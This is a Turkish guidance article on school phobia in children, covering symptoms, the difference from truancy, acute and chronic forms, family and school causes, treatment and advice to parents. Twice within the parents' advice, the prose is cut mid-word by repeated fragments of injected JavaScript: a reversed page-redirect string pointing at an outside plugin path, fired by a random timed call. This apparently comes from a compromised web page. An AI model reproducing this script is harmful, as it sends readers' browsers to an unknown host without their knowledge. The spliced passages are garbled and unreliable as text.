Duyu Terapi

Okul fobisi, kuvvetli bir endişe nedeniyle çocuğun okula gitmeyi reddetmesi ya da bukonuda isteksiz görünmesidir. Okul fobisi olan çocuklar, okula olan isteksizliklerinitipik bir biçimde bedensel yakınmalarıyla dile getirmeye çalışan, bu nedenlekendilerini evde tutma yolunda anne-babalarını ikna etmeye çalışan çocuklardır.

Okul fobisi olan çocukların mide bulantısı, karın ya da baş ağrısı şeklinde bedenselşikayetleri genellikle sabahları uyanır uyanmaz görünmekte ve okula gitmemelerinekarar verilir verilmez de kendiliğinden kaybolmaktadır. Eğer çocuklara okula öğledensonra gitmeleri önerilirse, aynı tür şikayetlerinin bir saat içinde tekrarlandığı görülür.Kendilerine o gün için okula gönderilmeyecekleri konusunda söz verilirse, ertesigün belirtilerin yeniden ortaya çıktığı dikkati çeker. Eğer anne-baba bir hafta sureyleçocuğun okulu unutmasına karar verirse, çocuğun bir sonraki pazartesine kadarsağlığının yerinde olduğu görülür. Hafta sonu genellikle okul fobisi olan çocuklariçin aktif olabildikleri ve okul baskısı olmaksızın diledikleri gibi eğlendikleri için ensevilen dönemdir. Psikosomatik kökenli şikayetleri ortadan kaldırmak üzere öğretmendeğiştirme. çocuğun daha az başarılı bir sınıfa alma ya da bir başka okula göndermegibi alınabilecek önlemler sadece geçici bir süre için sonuç verir. Bu gibi durumlardaçocuklar başlangıçta mutlu ve yeni okul ortamına coşku içinde görünürler, ancakbirkaç gün yada bir hafta sonra yeniden evde kalmak üzere yeni ortamla ilgili bazıyakınmalarda bulunurlar. Okul fobisi ile okul kaçağı olmayı bir biriyle karıştırmak gerekir. Okul fobisi olançocuk, değişik zamanlarda okula anne-babasının bilgisiyle gitmez ve evde kalır.Çocuğun okula gitmemesinin temelinde başarısızlık korkusu ve sınıf içinde aktifolamama endişesi bulunur Okuldan kaçan çocuklarsa okulu sevmezler, aynızamanda tembeldirler ve akademik bir amaçları yoktur. Bu çocuklar, okuldankaçtıkları zamanı anne ve babalarının bilgisi olmaksızın ev dışında istedikleri gibigeçirirler. Buna karşılık okul fobisi olan çocuklar evden uzaklaşmazlar; evde mutlu veneşelidirler. Bu çocukların okul başarıları orta düzeydedir; ödevlerininaksamamasıyla yakından ilgilidirler.Akut iç Kronik Okul Fobisi tepkileri görünmeye başladığı sırada birtakım şiddetlibelirtiler dikkati çeker. Akut okul fobisi olan bu çocuklar da evde kaldıkları sürecemutludurlar, arkadaş ilişkilerinde ve sosyal faaliyetlerde etkilidirler. Hatta bu çocuklarevde kaldıkları süre içinde ev ödevlerini yaparlar.Akut okul fobisi ilkokuldan liseye kadar her yaşta görülebilir. Bununla birlikte gerekergenlik döneminde, gerekse ergenlik öncesi dönemde rastlanan okul fobisi belirtileri,yeni okula başlayan çocuktaki gibi kuvvetli ve zorlu değildir. Çoğunlukla çocuklar büyüdükçe şiddetli biçimde okul fobisi görülmez; ancak bunun yerini “kronik fobi” alır.Kronik okul fobisi zamanla oluşur. Bu fobinin oluşmasında gencin çocuklukyıllarındaki akut okul fobisini de içine alan çeşitli davranış problemlerinin rolübüyüktür. Kronik okul fobisi, akut okul fobisinin tam tersine, bir takım uyumzorluklarını içerir. Kronik okul fobisi olan çocuklar sadece okuldan değil, aynızamanda önceden zevk aldıkları faaliyetlerden de uzaklaşmaya başlarlar. Buçocuklar ne ders çalışırlar nede belirli bir ilgi alanında faaliyet gösterirler. Evçevresinde sıkıntılı bir biçimde zamanlarını geçirmeye çalışırlar. Bunun yanı sıra, butür çocuklar okula olan korkularını tüm çevreye genelleştirirler. Sonuç olarak buçocuklar gerek insan ilişkilerinde, gerekse yabancı oldukları ortamlardakihuzursuzlukları giderek artar. OKUL FOBİSİNİN NEDENLERİ Okul fobisi 6-11 yas arası çocuklarda daha sık görülmektedir. Okul fobisinin, kızöğrencilerde görülme oranı erkek öğrencilerde görülme oranından daha fazladır.Okul Fobisinde aile faktörü; aşırı kollamacı, telaşlı, sarmalayan ailelerin çocuklarında,okula başlayana kadar ailesi dışında bir sosyal hayati olmayan çocuklarda, boşananailelerin bir ebeveynine bağlı olarak yasayan çocuklarda, ailesinden birini ölüm,hastalık, taşınma gibi bir sebeple kaybeden çocuklarda daha sık görülür. Okuldeğişikliği, ev değişikliği, yatılı okula geçiş gibi faktörler de okul fobisine sebepolabilir. Okul Fobisinde öğretmen ve okul faktörü; çok kalabalık sınıflarda, sertmizaçlı bir öğretmenin sınıfında, baskıcı, ezberci, hırpalayan ve aşırı kuralcı eğitimsistemlerinde daha sık görülmektedir. Eğer çocuğun okula karşı isteksizliği vekorkusu aile ve öğretmen tarafından önemsenmezse okul fobisi kronikleşir ve yarıdakesilen bir okul hayatıyla sonuçlanabilir

Okul fobisi olan çocukların yaşamalarının daha önceki yıllarında anneleri tarafındanaşırı özen içinde büyütüldükleri görülür. Bu tür annelerin sürekli olarak çocuklarınımemnun ederek onların sevgilerini kazanma çabası içinde oldukları, tüm ihtiyaçlarınıkarşıladıkları ve onları sürekli olarak kırıklığa uğramaktan korudukları dikkati çeker.Bu anneler özellikle çocukların bedensel rahatsızlıklarıyla yakından ilgilidirler.Çocuklar, gözlerinin önünde olmadığında kendilerini çok yalnız hissederler. Psikolojikve fizyolojik olarak çocuklarıyla yakın olma ihtiyacını duyarlar. Bu anneler, çocuklarınıanaokullarına göndermekten kaçındıkları gibi, arkadaşlarının evine bile oyunoynamak üzere göndermekten kaçınırlar. İşte yaşamın ilk yıllarında bu tür bir anne-çocuk ilişkisi Çocuğun okula başladığı sırada önemli bir engel oluşturur. Annelerinintüm bu koruyucu ve baskılı ortamından bir an olsun uzak kalmamış bu çocuklar,yabancı bir çevrede tanımadıkları insanlarla birlikte günlerini geçirmekten son derecehuzursuzluk duyarlar. Okul fobisi olan çocukların babaları da aşırı bağımlılık ve koruma konusunda eşleriyle iş birliği içindedir. Bu tür babalar ev içinde bir takım kurallar koyma ya da disiplinuygulama yerine, sürekli bir barış ve sakinlik ortamının olmasını tercih ederler.Böylelikle okul fobisi olan çocuklarda şu üç temel karakteristik kişilik özelliği gelişir: 1. Bu çocuklar anne-babaları tarafından aşırı korunma sonucu” bağımlı” anne-babayaadeta yapışık bir birey olarak gelişirler.2. Tüm ihtiyaçlarının karşılanması, çocuğun “çok isteyen ve hileye baş vuran”bir birey olmasına yol açar. Bu tür çocuklar istedikleri her şeye istediği zamankavuşurlar.3. Anne ve babalarının disiplin konusundaki yetersizlik ve başarısızlıkları nedeniylegerektiğinde çocuğun isteklerine set çekilmemesi çocukta “egemenlik” duygusunungelişmesine neden olur. Bu durumda çocuk, sadece kendisini ilgilendiren konularadeğil, tüm ev işlerine karışır. OKUL FOBİSİNİN SONUÇLARI VE TEDAVİSİOkul fobisi, çocuğun okuldan, sosyal faaliyetlerden ve öğrenme yaşantısındanuzaklaşmasına neden olduğundan, akademik ve sosyal gelişmeyi ciddi bir şekildeetkilemektedir. Okul fobisi, özellikle kronik olduğu taktirde, ergenlik dönemindegençliğin diğer nörotik belirtilerinden daha zorlu bir takım psikolojik sorunlarınoluşumuna yol açar.Okul fobisinin en çok yaygın olduğu 5-8 yaşlarında bıraktığı olumsuz iz, ikinci yoğunolan yaş grubu 11-14 yaşlarına oranla daha azdır Okuldan uzak kalmanın getireceğisorunlar nedeniyle okul fobisi olan çocukların elden geldiğince bir an önce okuladönmeleri amaçlanır. Uzmanların çoğu, çocuğun okula dönmesinden önce sorununnedenlerini anlamasına yardımcı olmak ve endişelerini azaltmak amacıyla bir süreiçin psikoterapi yapılmasını öngörmektedirler. 6-12 ay gibi bir tedavi sürecindensonra çocukların okula dönmelerinin başarılı sonuçlar verdiği görülmüştür. Kronikokul fobisinde çocuğun okula dönmesinde psikoterapi olumlu sonuçlar verir, böylebir tedavi yöntemine girişmeden çocuğun okula dönmesi onun okulda giderekdaha çok mutsuz olmasına ve gerek sosyal gerekse akademik başarı açısındanarkadaşları arasındaki statüsünü kaybetmesine neden olur. Akut okul fobisi olançocukları okula bağlayabilmek ancak uzman terapistlerin yoğun çabalarıyla olasıdır. Sağlıklı bir gelişim ancak etkili bir davranış terapisi ve aile yönlendirme yöntemiylegerçekleşebilir.Bu çocukların sınıfta daha az endişe duymalarını, daha huzurlu olmalarını sağlamaküzere yapılacak özel eğitim egzersizleriyle, okulu çocuğa yeniden tanıtma veözendirme girişimleriyle, gerekirse önce 1 saat, sonra yarım gün, sonunda tamgün okula gitmelerini sağlamakla, gerektiğinde annelerinin de okula gelmelerini veçocuk kendini rahat hissedinceye kadar kısa bir süre sınıfta oturmalarını sağlamakla,nihayet anne ve babaları eğiterek, okulda yeterli bakım ve eğitim olmadığı yolundakionların aşırı koruyucu tavırlarından kurtulmalarını sağlamakla mümkündür.Tedavi edici programlar, çocuğun okul hakkındaki şüphe ve endişelerini aydınlığakavuşturma açısından yararlı olmaktadır Bu tür çalışmalar okul fobisi olançocukların %70’inin birkaç gün ya da birkaç ay içinde okula dönmesini sağlamıştır.Bu konuda yaşın da önemli rol oynadığı dikkati çeker. Okul fobisi olan 10 yaşçocuklarının %90’ı çeşitli tedavi çalışmalarından olumlu sonuç alırken, aynı sorunuolan 11 yaş çocuklarında başarı oranı %50’yi geçmemiştir. Anne-babalara öneriler: “OKULA GİTME ZAMANLARINDA ESKİSİNDEN DAHA KARARLI OLUN” İlkzamanlarda okul sabahları güç olabilmektedir. Bu zamanlarda çocuğunuza kendisininasıl hissettiğini sormayın. Çünkü bu durum çocuğunuza şikayet etmek için fırsat vecesaret verecektir. Çocuğunuzu gözleyin, eğer ev içinde dolaşabiliyor ve çok rahatsızgörünmüyorsa okula da gidebilecektir. Şayet çocuğunuzun fiziksel yakınmaları varsave genel yakınmalarına benziyorsa, çok fazla tartışmadan onu hemen okulahazırlayın ve gönderin. Eğer çocuğunuzun sağlığı konusunda endişeliyseniz, doktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torkontrolü yararlı olacaktır. Aksi halde okula gönderin ve öğretmeni durumdanhaberdar edin, çocuğunuz ciddi bir şekilde hastalanırsa sizi arayıp haber vermeleriniisteyin. Çocuğunuz okula geç kaldığında, servisi kaçırdığında, mutlaka onu okulagöndermek için başka çözümler geliştirin ve en kısa zamanda okula gönderin. Bazençocuğunuz kendiliğinden eve dönebilir, bu durumda da yapmanız gereken onu okulageri göndermektir. Çocuğunuzun öğretmenini konu hakkında bilgilendirmeniz,öğretmenin çocuğunuzu anlaması konusunda yardımcı olur. Öğretmeninbilgilendirilmesi, öğretmenin çocuğunuzun bazı davranışlarına daha toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toleranslıolmasını sağlayabilecektir. “ÇOCUĞUNUZLA OKUL KORKUSU HAKKINDAKONUŞUN” Okula gitme vakti dışında bir zamanda çocuklarla okul korkusu hakkındakonuşmakta faydalı olacaktır. Okul korkusu hakkında çocuğunuzu suçlamayın ya daküçümsemeyin. Bu durumun birçok çocuk tarafından yaşanabildiğini ve zaman içinkendisini mutlaka daha iyi hissedeceğini anlatın. Çocuğunuzu tam olarak neyinmutsuz ettiğini öğrenmeye çalışın. Çocuğunuza, olabilecek en kötü şeyin neolabileceğini sorun. Eğer sizin bu konu hakkında yapabilecekleriniz varsa elinizdengeleni yapacağınızı söyleyin. Eğer çocuğunuz okulda fiziksel belirtilerin çokartmasından korkuyorsa, öğretmene uygun bir yerde 10-15 dakika dinlenebileceğinisöyleyin. Okul korkusu olan çocuklar, okul dışında daha çok aileleri ile zamangeçirmek, evde oynamak, odalarında yalnız olmak ya da televizyon seyretmek isterler. Bir çoğu geceleri arkadaşlarının evinde kalamaz, hemen eve dönmek ister.Böyle durumlarda çocuğunuzun akranları ile vakit geçirmesi için teşvik edin. Çeşitliaktivitelere göndermek, arkadaşlarını evinizde geceleri kalmaları için davet etmek,çocuğunuza yardımcı olacaktır. KAYNAK: Diyarbakır Rehberlik Araştırma Merkezi www.psikolojikdanisma.com www.rehberlik.biz